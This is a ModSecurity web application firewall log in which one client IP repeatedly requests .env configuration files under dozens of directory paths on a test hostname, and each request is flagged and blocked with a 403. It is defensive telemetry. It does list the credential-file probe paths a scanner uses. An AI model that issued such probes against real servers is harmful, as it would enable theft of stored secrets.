[Wed Feb 25 06:05:40.039170 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDswAAAAU&quot;]
[Wed Feb 25 06:05:40.088444 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /styles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDtAAAAAU&quot;]
[Wed Feb 25 06:05:40.088712 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDtAAAAAU&quot;]
[Wed Feb 25 06:05:40.088885 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDtAAAAAU&quot;]
[Wed Feb 25 06:05:40.123028 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stylesheets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDtQAAAAU&quot;]
[Wed Feb 25 06:05:40.123306 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDtQAAAAU&quot;]
[Wed Feb 25 06:05:40.123515 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDtQAAAAU&quot;]
[Wed Feb 25 06:05:40.262194 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDtwAAAAU&quot;]
[Wed Feb 25 06:05:40.262503 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDtwAAAAU&quot;]
[Wed Feb 25 06:05:40.262690 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDtwAAAAU&quot;]
[Wed Feb 25 06:05:40.328476 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system-config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDuAAAAAU&quot;]
[Wed Feb 25 06:05:40.328748 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDuAAAAAU&quot;]
[Wed Feb 25 06:05:40.328922 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDuAAAAAU&quot;]
[Wed Feb 25 06:05:40.361834 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDuQAAAAU&quot;]
[Wed Feb 25 06:05:40.362123 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDuQAAAAU&quot;]
[Wed Feb 25 06:05:40.362293 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDuQAAAAU&quot;]
[Wed Feb 25 06:05:40.486547 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm5_QAAAAM&quot;]
[Wed Feb 25 06:05:40.486796 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm5_QAAAAM&quot;]
[Wed Feb 25 06:05:40.486982 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testfiles/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm5_QAAAAM&quot;]
[Wed Feb 25 06:05:40.646763 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /target/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDvAAAAAU&quot;]
[Wed Feb 25 06:05:40.647045 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDvAAAAAU&quot;]
[Wed Feb 25 06:05:40.647225 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/target/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDvAAAAAU&quot;]
[Wed Feb 25 06:05:40.746775 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temanr10/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDvQAAAAU&quot;]
[Wed Feb 25 06:05:40.747064 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDvQAAAAU&quot;]
[Wed Feb 25 06:05:40.747246 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr10/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDvQAAAAU&quot;]
[Wed Feb 25 06:05:40.755997 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testing/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6AAAAAAM&quot;]
[Wed Feb 25 06:05:40.756253 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6AAAAAAM&quot;]
[Wed Feb 25 06:05:40.756423 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6AAAAAAM&quot;]
[Wed Feb 25 06:05:40.795715 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testing/docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6AQAAAAM&quot;]
[Wed Feb 25 06:05:40.796003 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6AQAAAAM&quot;]
[Wed Feb 25 06:05:40.796205 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testing/docker/.env&quot;] [unique_id &quot;aZ6DJLZegw_qLbSTRXm6AQAAAAM&quot;]
[Wed Feb 25 06:05:40.797560 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /temanr9/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDvgAAAAU&quot;]
[Wed Feb 25 06:05:40.797783 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/temanr9/.env&quot;] [unique_id &quot;aZ6DJOTWwZsZM3_RktVDvgAAAAU&quot;]
